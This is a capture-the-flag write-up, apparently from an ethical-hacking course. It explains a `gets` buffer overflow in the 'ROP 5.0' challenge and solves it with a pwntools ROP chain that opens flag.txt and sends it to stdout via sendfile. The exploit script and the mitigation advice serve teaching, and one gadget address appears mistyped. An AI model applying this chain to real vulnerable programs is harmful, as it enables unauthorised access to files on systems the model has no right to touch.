Nicola Mores, 26/05/2024

Challenge: Rest on Pieces (ROP) 5.0

Background

This challenge is about buffer overflows, ROP chains and gadgets. Buffer overflows [1] are a form of memory corruption, a technique used to alter memory locations allocated to a process. This can modify the normal behavior of the vulnerable program, leading, for example, to control-flow hijacking achieved by modifying the return address of a function. In the current challenge, this idea is extended with the concept of Return Oriented Programming [2], a technique based on chaining together multiple snippets of code (commonly referred to as gadgets) in a useful way for the attacker. These gadgets are sets of instructions already present in memory and usually end with a return or jump instruction (in the latter case, we call them Jump Gadgets). By controlling the return address we can redirect the execution to these gadgets, enabling complex operations and, in some cases, making ROP Turing complete. These gadgets are often chained to perform system calls [3], user interfaces for kernel functions such as file operation, executing programs and so on. The system call executed is determined by the value contained in the `rax` register, while others (such as `rdi`, `rsi` and `rdx`) are used as parameters for the chosen operation, defining its behavior [4].

Vulnerability

The main vulnerability in this challenge mainly resides in the `gets` call [5], an insecure function used to read user input and store it in a buffer without the possibility to limit the input size. In our case we are working on a 64-byte buffer, but an attacker can provide more data, leading in this way to a buffer overflow vulnerability. This vulnerability can be exploited to modify the contents of the function's stack and in particular the return address, making it possible to arbitrarily hijack the control flow, using for example ROP gadgets in a ROP chain. Using safer functions (like `read` or `fgets`) that allow to fix some constraints on the input length and enabling stack canaries can solve this type of problems. Another problem is the presence of useful strings (such as `/bin/sh` or, in our case, `flag.txt`) in the binary file that can be exploited depending on the chosen attack. This is possible because PIE is disabled, causing the process to always be loaded in the same memory addresses, making these strings' addresses static and more easily usable (the same applies also to the ROP gadgets' addresses).

Solution

The program we are dealing with is a function that receives input from the user, stores it in a limited size buffer and then ends its execution. We can start by exploring its security measures using `checksec`: we can see that PIE isn't enabled and that the stack is non-executable (NX). Noticing the buffer overflow vulnerability stated in the previous chapter, we might consider using a ROP attack. To proceed, we need to check if there are enough useful gadgets for our purposes. Using a tool like `ropper` on the binary file we can explore the possible gadgets at hands. Among them we focus on the ones that move values in the `rax` register. In this case we have two of those: one that sets `rax` to 2 and another to 40. We are interested in these types of gadgets because they can be used to perform system calls that (through the `syscall` instruction) execute specific functions based on the value of the `rax` register. In particular, `rax` set to the value 2 triggers the system call `open` (which opens a file descriptor for a given file) [6], while the value 40 identifies `sendfile` (a function that given two file descriptors, copies the contents of one to the other) [7]. These two functions give us an idea: first we open the file containing the flag, usually called `flag.txt`, and then we copy its contents, using `sendfile`, to the standard output (that always has 1 as file descriptor). To do so, we will need to have the filename in memory, but we can't easily place it there ourself with the available system calls. Fortunately, using `strings` on the binary file, we can notice that the filename is already there and we only need to retrieve its offset (for example through Ghidra), compute its address and use it in the attack. We now need to chain, according to the system calls' parameter guidelines, the previously cited gadgets with some that interact with other registers, creating a proper payload that will execute the attack. Below is my implementation [8], providing more details on how to create the payload that I used:

```python
if(REMOTE):
    conn = remote(IP_ADDRESS, PORT)
else:
    conn = process('./bin')
    #gdb.attach(conn)

offset = 72
payload = b"A" * offset         # First we create a payload that will lead to an overflow


# Useful Gadgets:

mov_rax_2_syscall = 0x000000000040119f      #: mov rax, 2; syscall; ret;
mov_rax_40_syscall = 0x0000000000401a9     #: mov rax, 0x28; syscall; nop; pop rbp; ret;

pop_r10 = 0x000000000040119c    #: pop r10; ret;
pop_rbp = 0x000000000040111d    #: pop rbp; ret;
pop_rdi = 0x0000000000401196    #: pop rdi; ret;
pop_rdx = 0x000000000040119a    #: pop rdx; ret;
pop_rsi = 0x0000000000401198    #: pop rsi; ret;

filename_addr = 0x404020        # Retrieved using Ghidra's string search
print(hex(filename_addr))

# Idea: We open the file (syscall 2) and then we copy its content to STDOUT (syscall 40)

# Open the file flag.txt
payload += p64(pop_rdi) + p64(filename_addr)    # Put the address of the filename in the register rdi
payload += p64(pop_rsi) + p64(0)                # Put the value 0 in rsi (contains flags)
payload += p64(pop_rdx) + p64(0)                # Put the value 0 in rdx (contains mode used for opening the file)
payload += p64(mov_rax_2_syscall)               # Put the value 2 in rax, then execute a syscall (open syscall)

target_file_fd = 6                              # The file decriptor will be the previous max + 1

# Copy the file towards STDOUT
payload += p64(pop_rdi) + p64(1)                # Put the value 1 (= STDOUT) in rdi (contains the output file descriptor)
payload += p64(pop_rsi) + p64(target_file_fd)   # Put the value <target_file_fd> in rsi (contains the input file descriptor)
payload += p64(pop_rdx) + p64(0)                # Put the value 0 in rdx (contains the offset after which it will start coping the content)
payload += p64(pop_r10) + p64(100)              # Put the value 100 in r10 (contians the number of bytes it will copy)
payload += p64(mov_rax_40_syscall)              # Put the value 40 in rax, then execute a syscall (sendfile syscall)

conn.sendline(payload)                          # Send the payload, retrieve the flag and print it

flag = conn.recvline().decode()
```


[1] Buffer overflow Attack:
https://en.wikipedia.org/wiki/Buffer_overflow
[2] Return Oriented Programming Attack:
https://en.wikipedia.org/wiki/Return-oriented_programming
[3] Linux System Calls Documentation:
https://man7.org/linux/man-pages/man2/syscalls.2.html
[4] Linux Syscall Table:
https://filippo.io/linux-syscall-table/
[5] gets() Documentation:
https://pubs.opengroup.org/onlinepubs/009696799/functions/gets.html
[6] open syscall Documentation:
https://manpages.debian.org/unstable/manpages-dev/open.2.en.html
[7] sendfile syscall Documentation:
https://manpages.debian.org/unstable/manpages-dev/sendfile.2.en.html
[8] My solution implementation:
https://gitfront.io/r/NikoMrs/PrSpp9XjTGu2/EthicalHacking2024/blob/Assignment9/solution.py